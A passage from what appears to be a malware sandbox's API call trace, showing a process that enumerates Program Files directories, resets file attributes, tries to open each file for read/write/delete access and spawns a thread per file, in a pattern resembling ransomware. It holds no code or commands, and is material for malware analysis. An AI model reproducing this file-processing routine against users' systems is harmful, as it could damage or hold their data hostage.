Office\\Templates\\1033\\FAX\\UrbanFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.450] GetLastError () returned 0x5 [0152.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7298) returned 1 Thread: id = 3227 os_tid = 0x1ef8 [0152.062] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties")) returned 0x20 [0152.062] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties", dwFileAttributes=0x20) returned 0 [0152.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.062] GetLastError () returned 0x5 [0152.062] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties", dwFileAttributes=0x20) returned 0 [0152.062] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7708) returned 1 Thread: id = 3228 os_tid = 0x1efc [0152.064] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar")) returned 0x20 [0152.064] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar", dwFileAttributes=0x20) returned 0 [0152.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.064] GetLastError () returned 0x5 [0152.064] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar", dwFileAttributes=0x20) returned 0 [0152.064] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f090) returned 1 Thread: id = 3229 os_tid = 0x1f00 [0152.065] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90f090 [0152.065] wcscpy (in: _Dest=0x90f090, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" [0152.065] wcscat (in: _Dest=0x90f090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\" [0152.065] wcscat (in: _Dest=0x90f090, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*" [0152.065] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0152.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0152.066] wcscmp (_String1=".", _String2=".") returned 0 [0152.066] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.066] wcscmp (_String1="..", _String2=".") returned 1 [0152.066] wcscmp (_String1="..", _String2="..") returned 0 [0152.066] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0152.066] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0152.066] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0152.066] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f090) returned 1 [0152.066] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff5a8) returned 1 Thread: id = 3230 os_tid = 0x1f04 [0152.067] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties")) returned 0x20 [0152.067] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties", dwFileAttributes=0x20) returned 0 [0152.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.067] GetLastError () returned 0x5 [0152.067] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties", dwFileAttributes=0x20) returned 0 [0152.067] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99eb08) returned 1 Thread: id = 3231 os_tid = 0x1f08 [0152.068] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar")) returned 0x20 [0152.068] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar", dwFileAttributes=0x20) returned 0 [0152.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.069] GetLastError () returned 0x5 [0152.069] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar", dwFileAttributes=0x20) returned 0 [0152.069] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1288) returned 1 Thread: id = 3232 os_tid = 0x1f0c [0152.070] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist")) returned 0x20 [0152.070] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist", dwFileAttributes=0x20) returned 0 [0152.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.070] GetLastError () returned 0x5 [0152.070] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist", dwFileAttributes=0x20) returned 0 [0152.070] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f298) returned 1 Thread: id = 3233 os_tid = 0x1f10 [0152.071] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff5a8 [0152.071] wcscpy (in: _Dest=0x8ff5a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0152.071] wcscat (in: _Dest=0x8ff5a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0152.071] wcscat (in: _Dest=0x8ff5a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*" [0152.071] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0152.071] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0152.072] wcscmp (_String1=".", _String2=".") returned 0 [0152.072] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.072] wcscmp (_String1="..", _String2=".") returned 1 [0152.072] wcscmp (_String1="..", _String2="..") returned 0 [0152.072] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0152.072] wcscmp (_String1="CIEXYZ.pf", _String2=".") returned 1 [0152.072] wcscmp (_String1="CIEXYZ.pf", _String2="..") returned 1 [0152.072] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1288 [0152.072] wcscpy (in: _Dest=0x8f1288, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0152.072] wcscat (in: _Dest=0x8f1288, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0152.072] wcscat (in: _Dest=0x8f1288, _Source="CIEXYZ.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\CIEXYZ.pf" [0154.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8 [0154.011] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0154.011] wcscmp (_String1="GRAY.pf", _String2=".") returned 1 [0154.011] wcscmp (_String1="GRAY.pf", _String2="..") returned 1 [0154.011] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1218 [0154.012] wcscpy (in: _Dest=0x8f1218, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0154.012] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0154.012] wcscat (in: _Dest=0x8f1218, _Source="GRAY.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\GRAY.pf" [0154.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158 [0154.014] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0154.014] wcscmp (_String1="LINEAR_RGB.pf", _String2=".") returned 1 [0154.015] wcscmp (_String1="LINEAR_RGB.pf", _String2="..") returned 1 [0154.015] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93cad0 [0154.015] wcscpy (in: _Dest=0x93cad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0154.015] wcscat (in: _Dest=0x93cad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0154.015] wcscat (in: _Dest=0x93cad0, _Source="LINEAR_RGB.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf" [0154.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154 [0154.016] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0154.016] wcscmp (_String1="PYCC.pf", _String2=".") returned 1 [0154.016] wcscmp (_String1="PYCC.pf", _String2="..") returned 1 [0154.016] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f16e8 [0154.016] wcscpy (in: _Dest=0x8f16e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0154.016] wcscat (in: _Dest=0x8f16e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0154.016] wcscat (in: _Dest=0x8f16e8, _Source="PYCC.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\PYCC.pf" [0154.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f16e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150 [0154.018] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0154.018] wcscmp (_String1="sRGB.pf", _String2=".") returned 1 [0154.018] wcscmp (_String1="sRGB.pf", _String2="..") returned 1 [0154.018] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1838 [0154.018] wcscpy (in: _Dest=0x8f1838, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" [0154.018] wcscat (in: _Dest=0x8f1838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\" [0154.018] wcscat (in: _Dest=0x8f1838, _Source="sRGB.pf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\sRGB.pf" [0154.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c [0154.019] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0154.019] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0154.019] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0154.019] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff5a8) returned 1 [0154.019] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff428) returned 1 Thread: id = 3234 os_tid = 0x1f14 [0152.072] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties")) returned 0x20 [0153.440] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties", dwFileAttributes=0x20) returned 0 [0153.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.441] GetLastError () returned 0x5 [0153.441] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties", dwFileAttributes=0x20) returned 0 [0153.441] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8d58) returned 1 Thread: id = 3235 os_tid = 0x1f18 [0152.073] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data")) returned 0x20 [0153.441] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data", dwFileAttributes=0x20) returned 0 [0153.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.442] GetLastError () returned 0x5 [0153.442] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\currency.data", dwFileAttributes=0x20) returned 0 [0153.442] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1678) returned 1 Thread: id = 3236 os_tid = 0x1f1c [0152.074] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90f298 [0152.074] wcscpy (in: _Dest=0x90f298, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0152.074] wcscat (in: _Dest=0x90f298, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0152.074] wcscat (in: _Dest=0x90f298, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*" [0152.074] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906b70 [0152.074] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b1f8 [0153.648] wcscmp (_String1=".", _String2=".") returned 0 [0153.648] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.648] wcscmp (_String1="..", _String2=".") returned 1 [0153.648] wcscmp (_String1="..", _String2="..") returned 0 [0153.648] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0153.648] wcscmp (_String1="ffjcext.zip", _String2=".") returned 1 [0153.648] wcscmp (_String1="ffjcext.zip", _String2="..") returned 1 [0153.648] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c1e8 [0153.648] wcscpy (in: _Dest=0x93c1e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0153.649] wcscat (in: _Dest=0x93c1e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0153.649] wcscat (in: _Dest=0x93c1e8, _Source="ffjcext.zip" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" [0159.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf60 [0159.369] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs", cAlternateFileName="")) returned 1 [0159.369] wcscmp (_String1="jqs", _String2=".") returned 1 [0159.369] wcscmp (_String1="jqs", _String2="..") returned 1 [0159.369] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90f230 [0159.369] wcscpy (in: _Dest=0x90f230, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0159.369] wcscat (in: _Dest=0x90f230, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0159.369] wcscat (in: _Dest=0x90f230, _Source="jqs" | out: _Dest="C:\\Program Files 